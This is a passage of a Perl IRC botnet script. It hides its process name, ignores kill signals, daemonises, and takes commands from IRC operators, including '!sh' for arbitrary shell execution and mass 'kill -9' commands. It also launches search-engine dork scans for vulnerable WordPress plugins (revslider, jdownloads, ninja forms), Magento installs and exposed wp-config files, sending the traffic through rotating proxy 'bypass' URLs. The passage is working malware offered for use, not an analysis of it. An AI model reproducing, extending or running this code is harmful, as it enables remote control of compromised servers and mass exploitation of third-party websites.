($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]); my @pgfa = ( "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ro%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ca%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.fr%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.fr%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ne%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.mz%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ro%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.at%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.nl%2Fsearch?q="); ######################################################################################################### $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] ERORR BRO.....!!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); my $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my ($mynick, $ircserver_con, $ircport_con) = @_; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; &nick("$mynick"); sendraw("USER ".$data{"ident"}." ".$IRC_socket->sockhost." $ircserver_con : ".$data{"fullname"}); sleep(1); } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { &nick($mynick.int(rand(5))); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; if($data{"debug"} ne $data{"channel"}) { sendraw("JOIN ".$data{"debug"}." ".$data{"debugKey"}); } sendraw("JOIN ".$data{"channel"}." ".$data{"chanKey"}); sleep(2); sendraw("ns identify coiInside"); } } my $line_temp; while(1) { while (!(keys(%irc_servers))) { connector($data{"nick"}, $data{"server"}, $data{"port"}); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach my $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { ############# PM BASE COMMANDS ################# if ($msg =~ /^PING (.*)/) {sendraw("NOTICE $nick :PING $1");} if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");} if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime."");} if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$");} if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl");} if (&isAdmin($nick) && $msg eq "!reset") { sendraw($art{"front"}."15QUIT:14RESTARTING...".$art{"back"});} if (&isAdmin($nick) && $msg eq "!harakiri") { &shell("$path","kill -9 `ps ax |grep ".$fakeproc." |grep -v grep|awk '{print $1;}'`");} if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1);} if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1);} if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1);} if (&isAdmin($nick) && $msg =~ /^!pid/) {sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");} if (&isAdmin($nick) && $msg =~ /^!sh (.+)/) { &shell("$nick",$1);} if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {sendraw("$rawmsg $msgraw ".$1);} if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1."");} if (&isAdmin($nick) && $msg =~ /^!timeout\s+(.*) -d/) { $newtimot = $1; $timeout = $newtimot; &msg("$nick","9,1 Get Content TimeOut change to4 $timeout "); } #!stats injector if(&isAdmin($nick) && $msg =~ /^!stats\s+(.+?)\s+(.*)/) { my $cmd = lc($1); my $show = $2; if($cmd eq "bypass") { my $num = scalar(@racrew); my $safe = "14OFF"; my $start = 0; my $end = 10; if($show == 2) { $start = 10; $end = 20; } elsif ($show == 3) { $start = 20; $end = 30;} if(scalar(@racrew) > 0) { for(my $i = $start; $i < $end;$i++) { my $id = $i + 1; my $url = $racrew[$i].$pgfa[$i]."coi"; my $res = &get_content($url); sleep(5); if($res =~ /coi/ig) { $safe = "9ON";} &msg("$nick",$art{"front"}."10ID:$id".$art{"div"}."STATUS : $safe".$art{"div"}."$racrew[$i]".$art{"back"}); } } } } if(&isAdmin($nick) && $msg =~ /^!set\s+(.+?)\s+(.+?)\s+(.*)/) { my $cmd = lc($1); if($cmd eq "bypass") { my $id = $2; my $req = ($id - 1); my $url = $3; if(substr($url,0,7) ne "http://") { &msg("$nick",$art{"front"}."10$nick".$art{"div"}."Please use http:// example:http:////proxy.php".$art{"back"}); } elsif(substr($url,-3) ne "php") { &msg("$nick",$art{"front"}."10$nick".$art{"div"}."Please use php extension".$art{"back"}); } else { $racrew[$req] = ""; $racrew[$req] = $url; sleep(3); &msg("$nick",$art{"front"}."Bypass id $id set to $racrew[$req]".$art{"back"}); } } } #!show bypass 1 if(&isAdmin($nick) && $msg =~ /^!show\s+(.+?)\s+(.*)/) { my $cmd = lc($1); my $show = $2; if($cmd eq "bypass") { my $num = scalar(@racrew); my $start = 0; my $end = 10; if($show == 2) { $start = 10; $end = 20; } elsif ($show == 3) { $start = 20; $end = 30;} if(scalar(@racrew) > 0) { for(my $i = $start; $i < $end;$i++) { my $id = $i + 1; &msg("$nick", $art{"front"}."10ID:$id".$art{"div"}."$racrew[$i]".$art{"back"}); } } } } if(&isAdmin($nick) && $msg =~ /^!1\s+(.*)/) { my $cmd = lc($1); if($cmd eq "2") { undef @racrew; @racrew = (); @racrew = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]); &msg("$nick", $art{"front"}."Generating bypass done!!".$art{"back"}); } } if (&isAdmin($nick) && $msg =~ /^$cmd{"ninja"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,1,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"adsManager"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,2,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"myblog"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,3,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"jdownloads"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,4,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"revslider"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,5,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"wpconfig"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,6,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"magento"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,7,"coi",$dork,$nick,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$cmd{"cfgcontact"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,8,"coi",$dork,$nick,$nick); } } } } else { ############## ROOM ################# if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 -1");} if (&isAdmin($nick) && $msg eq "!mampus") { &shell("$path","killall -9 perl");} if (&isAdmin($nick) && $msg eq "!ver") { &showVersion($path);} if ($msg eq "!help") { if(&isAdmin($nick)) { &msg($path,$art{"front"}."5HELP".$art{"div"}.$wpclogo.$art{"div"}.$cmd{"wpconfig"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$maglogo.$art{"div"}.$cmd{"magento"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$ninjalogo.$art{"div"}.$cmd{"ninja"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$bloglogo.$art{"div"}.$cmd{"myblog"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$revlogo.$art{"div"}.$cmd{"revslider"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$jdlogo.$art{"div"}.$cmd{"jdownloads"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$adslogo.$art{"div"}.$cmd{"adsManager"}." ".$art{"back"}); &msg($path,$art{"front"}."5HELP".$art{"div"}.$cfglogo.$art{"div"}.$cmd{"cfgcontact"}." ".$art{"back"}); } else { &msg($path,$art{"front"}." --14Im on Private mode-- ".$art{"back"}); &msg($path,$art{"front"}." Contact 4".$data{"admin"}."15 For more info ".$art{"back"}); } } if(&isAdmin($nick) && $msg =~ /^!1\s+(.*)/) { my $cmd = lc($1); if($cmd eq "2") { undef @racrew; @racrew = (); @racrew = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]); sleep(1); ¬ice("$nick", "Generating bypass done!!"); } } if ($msg =~ /^$cmd{"ninja"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,1,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"adsManager"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,2,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"myblog"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,3,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"jdownloads"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,4,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"revslider"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,5,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"wpconfig"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,6,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"magento"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,7,"coi",$dork,$path,$nick); } } } if ($msg =~ /^$cmd{"cfgcontact"}\s+(.*)/) { my $id = int(rand(9999)); if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}} if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ my $dork = &setDork($1); &prepareScan($id,8,"coi",$dork,$path,$nick); } } } ############## ROOM ################# } #end else } #end if for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } #end foreach $fh } #end while sub prepareScan { my($id,$tipe,$bug,$dork,$chan,$nick) = @_; my $private = &checkPrivacy($nick); if(!$private) { my $limit = &checkLimit($nick); if($limit){ if(!&isAdmin($nick)) { &msg($data{"debug"},$art{"front"}."Got request $logo by 10$nick15 at 7".$chan.$art{"back"}); } if(scalar(@bypass) <= 0) { &msg("$chan",$art{"front"}."10$nick".$art{"div"}."You don't give me any bypass".$art{"back"}); &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Okay,Then I'll generate default Bypass for you..Please Wait".$art{"back"}); &generateBypass("bypass"); sleep(3); &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Bypass allready push...".$art{"back"}); } &msg("$chan",$art{"front"}." ".$art{"back"}); &msg("$chan", $art{"front"}."5".uc($nick).$art{"div"}."15CREATING YOU14R ID... ".$art{"back"}); sleep(1); &msg("$chan", $art{"front"}."5".uc($nick).$art{"div"}."15YOU14R ID :14 $id ".$art{"back"}); &msg($data{"channel"},$art{"front"}." 14--15SCANNING STA14RTED-- ".$art{"back"}); &sendraw("MODE ".$data{"channel"}." +m"); &se_start($data{"channel"},$bug,$dork,$sEngine,$tipe,$nick,$id); sleep(4); } else { &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Out of limit".$art{"back"}); &msg("$chan",$art{"front"}."10$nick".$art{"div"}."I only can take $limitScan request".$art{"back"}); exit; } } else { &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Sorry, Im on Private Mode".$art{"back"}); exit; } } sub se_start { my ($chan,$bug,$dork,$engine,$type,$nick, $id) = @_; #------------------------- GOOGLE -----------------------------------------# if ($engine =~ /googleAE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAE",$type,$nick,$id); } exit; } } if ($engine =~ /googleCZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleHU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHU",$type,$nick,$id); } exit; } } if ($engine =~ /googleID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeID",$type,$nick,$id); } exit; } } if ($engine =~ /googlePH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePH",$type,$nick,$id); } exit; } } if ($engine =~ /googleSI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSI",$type,$nick,$id); } exit; } } if ($engine =~ /googleVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVN",$type,$nick,$id); } exit; } } if ($engine =~ /googleRS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRS",$type,$nick,$id); } exit; } } if ($engine =~ /googleSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSG",$type,$nick,$id); } exit; } } if ($engine =~ /googlePK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePK",$type,$nick,$id); } exit; } } if ($engine =~ /googleME/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeME",$type,$nick,$id); } exit; } } if ($engine =~ /googleKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleAF/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAF",$type,$nick,$id); } exit; } } if ($engine =~ /googleAL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAL",$type,$nick,$id); } exit; } } if ($engine =~ /googleDZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleAO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAO",$type,$nick,$id); } exit; } } if ($engine =~ /googleAM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAM",$type,$nick,$id); } exit; } } if ($engine =~ /googleAZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleBH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBH",$type,$nick,$id); } exit; } } if ($engine =~ /googleBD/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBD",$type,$nick,$id); } exit; } } if ($engine =~ /googleBY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBY",$type,$nick,$id); } exit; } } if ($engine =~ /googleBT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBT",$type,$nick,$id); } exit; } } if ($engine =~ /googleBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBO",$type,$nick,$id); } exit; } } if ($engine =~ /googleBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBA",$type,$nick,$id); } exit; } } if ($engine =~ /googleBG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBG",$type,$nick,$id); } exit; } } if ($engine =~ /googleBN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBN",$type,$nick,$id); } exit; } } if ($engine =~ /googleKH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKH",$type,$nick,$id); } exit; } } if ($engine =~ /googleCM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCM",$type,$nick,$id); } exit; } } if ($engine =~ /googleCR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCR",$type,$nick,$id); } exit; } } if ($engine =~ /googleHR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHR",$type,$nick,$id); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick,$id); } exit; } } if ($engine =~ /googleCY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCY",$type,$nick,$id); } exit; } } if ($engine =~ /googleDM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDM",$type,$nick,$id); } exit; } } if ($engine =~ /googleEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEC",$type,$nick,$id); } exit; } } if ($engine =~ /googleEG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEG",$type,$nick,$id); } exit; } } if ($engine =~ /googleEE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEE",$type,$nick,$id); } exit; } } if ($engine =~ /googleFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFI",$type,$nick,$id); } exit; } } if ($engine =~ /googleGE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGE",$type,$nick,$id); } exit; } } if ($engine =~ /googleGH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGH",$type,$nick,$id); } exit; } } if ($engine =~ /googleHN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHN",$type,$nick,$id); } exit; } } if ($engine =~ /googleHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHK",$type,$nick,$id); } exit; } } if ($engine =~ /googleIS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIS",$type,$nick,$id); } exit; } } if ($engine =~ /googleKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKE",$type,$nick,$id); } exit; } } if ($engine =~ /googleKH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKH",$type,$nick,$id); } exit; } } if ($engine =~ /googleLA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLA",$type,$nick,$id); } exit; } } if ($engine =~ /googleLV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { 